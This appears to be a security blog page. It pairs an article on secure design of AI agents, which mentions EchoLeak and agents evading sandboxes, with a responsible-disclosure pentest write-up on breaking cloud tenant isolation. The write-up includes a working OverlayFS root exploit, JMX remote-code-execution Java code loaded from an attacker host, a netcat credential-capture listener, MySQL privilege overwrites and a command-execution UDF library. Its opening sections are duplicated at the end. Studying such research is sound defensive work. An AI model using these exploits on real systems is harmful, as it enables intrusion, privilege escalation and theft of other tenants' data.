AI systems are much harder to protect than traditional IT — whether from operator mistakes, malicious interference, or just plain unstable behavior. There are two main reasons for this. First, AI outputs are probabilistic, so the same prompt can give different answers each time you run it. Second, today’s LLMs can’t reliably tell commands apart from data. Despite the demonstrated security issues of AI systems that we’ve covered many times, it’s impossible to ignore the potential economic payoff of adopting them. That’s why many companies are moving beyond simple AI assistants to AI agents. These agents carry out tasks on their own and have direct access to the same tools as humans — from reading databases to changing settings in production processes. Our experts, in their new study, examine how to clearly define and minimize the resulting risks to keep potential problems to a minimum. The approach borrows and adapts the principles of Cyber Immunity and Security by Design.
The basic principles of Security by Design
All the principles of this discipline are universally applicable to the design of any computer system — AI agents included. What differs is how deeply each principle needs to be adapted and reworked for AI scenarios.
Security is a separate and important factor right from the design stage. Security goals and assumptions are set on day one and followed throughout every stage of development. For AI agents, these assumptions should include three key points: (i) the language model is treated as untrusted, (ii) external data of any kind is considered potentially malicious, and (iii) irreversible actions can’t be performed autonomously without mandatory human approval.
The system is designed on the assumption that it will be attacked.
The trusted computing base and attack surface are kept to a minimum. Agents get only the tools they actually need, limited permissions, and the smallest amount of context possible. Security policy enforcement is handled entirely by deterministic components: the policy monitor, the agent harness, and isolation mechanisms (sandboxes).
The principle of least privilege applies. Each agent has its own set of credentials and access privileges (identity), limited to the bare minimum it needs to do its job. If an agent temporarily needs elevated privileges, it gets them only after external approval, and they last exactly as long as the task that requires them.
Components are isolated. In agent-based systems, this is one of the most complex and multi-layered architecture problems. The agent harness should run in an isolated environment (sandbox or virtual machine), and agents should be kept as isolated from each other as possible. Data processing in trusted and untrusted contexts is also kept separate. For example, one agent reads a pull request and writes a draft of the code, while another reviews that work without ever seeing the potentially malicious text of the request.
Default deny is the rule. Security policies follow the rule: anything not explicitly allowed is forbidden. This includes tool calls, interactions between agents, and network traffic.
Defense in depth is in place. Different measures should work at the same time and reinforce each other. Probabilistic defenses — like AI guardrails (a “firewall” for language models) or alignment (the model’s own sense of what’s acceptable and what isn’t) — can’t offer any formal security guarantees. Nevertheless, they make the system more secure overall and serve as a valuable source of telemetry.
The supply chain is protected. Some agents can install skills, libraries, and other software components on their own, so these abilities need strict rules. Either block them completely, or limit them to a closed, pre-approved list of specific versions of specific components. Systems built on cloud LLMs face an extra risk: model updates. One day, the same API request might be answered by a different language model with different security properties.
Pitfalls of AI security
The general principles of Security by Design are well known and look simple on paper. But applying them to AI systems is tricky because agents are incredibly flexible. For example, a security team might believe that an agent on a developer’s computer runs in a sandbox and can’t change anything outside it. But an attacker, or even the agent itself, can come up with dozens of ways around this seemingly solid protection: from running commands through a local MCP server that the sandbox doesn’t restrict, to reconfiguring another AI agent installed on the system. To make things even harder, the range of attack vectors is huge: from arbitrary fields in the agent’s configuration to innocent-looking text strings in a skill file.
One serious problem that designers often underestimate is user fatigue. A busy agent can throw up dozens of requests every minute, asking the user to confirm potentially dangerous actions. Within an hour, the person is clicking Approve on autopilot without reading what they’re approving. That’s why it’s important to carefully tune both how often these requests appear and how they’re worded. Nobody will read a request description that’s too long. And one that’s too short can hide the key details the user needs in order to make the right call.
Vulnerabilities in agents and related tools are a pressing problem — and it’s made worse by how quickly these categories of software evolve and receive updates. Industry-standard platforms and apps — such as LangGraph, MS Semantic Kernel, and Claude Code — have had critical vulnerabilities patched more than once. Architects should always consider swapping a large, do-it-all framework for a compact, stripped-down system that has only the features a specific agent actually needs.
On top of that, carefully implementing standard, long-established security measures in the available tools greatly reduces the damage if an agent is attacked or behaves unexpectedly. One example is a strict allowlist of domains that the web fetch tool can open when asked by the agent. But designers rarely account for the hidden problems and overhead associated with maintaining the list. As a result, it slowly goes out of date and leaves loopholes for attackers. The most striking example is the EchoLeak attack. Microsoft 365 Copilot had a properly implemented and fairly effective allowlist for accessing external sites, but attackers circumvented it through a feature in a secondary tool and the MS Teams domain.
Practical tips for architects and security teams
AI system architects and heads of engineering and security teams should build in agent security from the design stage. They should rely primarily on verifiable, deterministic mechanisms: isolating components, controlling interactions, and keeping the trusted computing base to a minimum.
Key architectural decisions include defining acceptable autonomy for the agents, limiting access to confidential data and dangerous combinations of capabilities, and using sandboxes, separate roles for different models, and access control gateways. Restrictions added as an afterthought reduce risks, but they’re no substitute for secure architecture.
At the organizational and operational levels, companies need to keep an inventory of their agents, coordinate the efforts of security and deployment teams, protect container environments, manage the supply chain (AIBOM), and integrate multi-layered defense.
Observability requires special attention. For AI systems, this should include logging the LLM’s requests, responses, and reasoning, as well as detailed telemetry from the hosts and cloud environments where the agent harness runs.
The hardest part of designing agents is balancing security, performance, and usefulness. To learn how to strike that balance with threat modeling and clearly defined security goals, read the full version of the study.
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address
This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m &&
cp /usr/bin/python3 l/ &&
chmod 755 l/python3 &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}
Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(String path) throws Exception {
return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
}
@Override
public String putB64(String path, String b64) throws Exception {
byte[] data = Base64.getDecoder().decode(b64);
Files.write(Path.of(path), data);
return "wrote " + data.length + " bytes";
}
}
After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
Create a standard MLet loader inside the Kafka JVM.
Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
2.3. Credential leakage through redis-exporter
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("target")
...
if !strings.Contains(target, "://") {
target = "redis://" + target
}
u, err := url.Parse(target)
...
opts := e.options
...
_, err = NewRedisExporter(target, opts)
...
Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
2.4. Compromise of managed PostgreSQL (Patroni) clusters
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Update the Patroni configuration with the modified archive_command:
After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster
Demoting self (demote-cluster)
received fast shutdown request
checkpoint starting: shutdown immediate
Postgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
3. Attack on SaltStack management infrastructure
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
3.1. Analysis of salt fs
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
mkdir -p "/tmp/dump/$(dirname "$f")"
salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
done
Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
3.2. Exploiting the SQLi
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
4. Other ways to attack the cloud
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
4.1. Exploiting a vulnerability in Managed Valkey
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
4.2. MySQL
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user;
CREATE TABLE mysql.user (
Host char(255) NOT NULL DEFAULT '%',
User char(32) NOT NULL DEFAULT '',
Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
ssl_cipher blob NOT NULL,
x509_issuer blob NOT NULL,
x509_subject blob NOT NULL,
max_questions int unsigned NOT NULL DEFAULT 0,
max_updates int unsigned NOT NULL DEFAULT 0,
max_connections int unsigned NOT NULL DEFAULT 0,
max_user_connections int unsigned NOT NULL DEFAULT 0,
plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
authentication_string text,
password_expired enum('N','Y') NOT NULL DEFAULT 'N',
password_last_changed timestamp NULL DEFAULT NULL,
password_lifetime smallint unsigned DEFAULT NULL,
account_locked enum('N','Y') NOT NULL DEFAULT 'N',
Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Password_reuse_history smallint unsigned DEFAULT NULL,
Password_reuse_time smallint unsigned DEFAULT NULL,
Password_require_current enum('N','Y') DEFAULT NULL,
User_attributes json DEFAULT NULL,
PRIMARY KEY (Host, User)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;
Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned long long udf_args_type;
typedef struct {
unsigned int arg_count;
unsigned int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
void *extension;
} UDF_INIT;
int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval requires one argument");
return 1;
}
initid->max_length = 65535;
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {}
char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
char cmd[65535];
snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
FILE *pipe = popen(cmd, "r");
if (!pipe) { *is_null = 1; return NULL; }
static char buf[65535];
size_t total = 0;
while (total < sizeof(buf)-1) {
size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
if (n == 0) break;
total += n;
}
pclose(pipe);
buf[total] = '\0';
*length = total;
return buf;
}
RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so
We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
Result of executing id via MySQL UDF
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
Conclusion
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address
This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
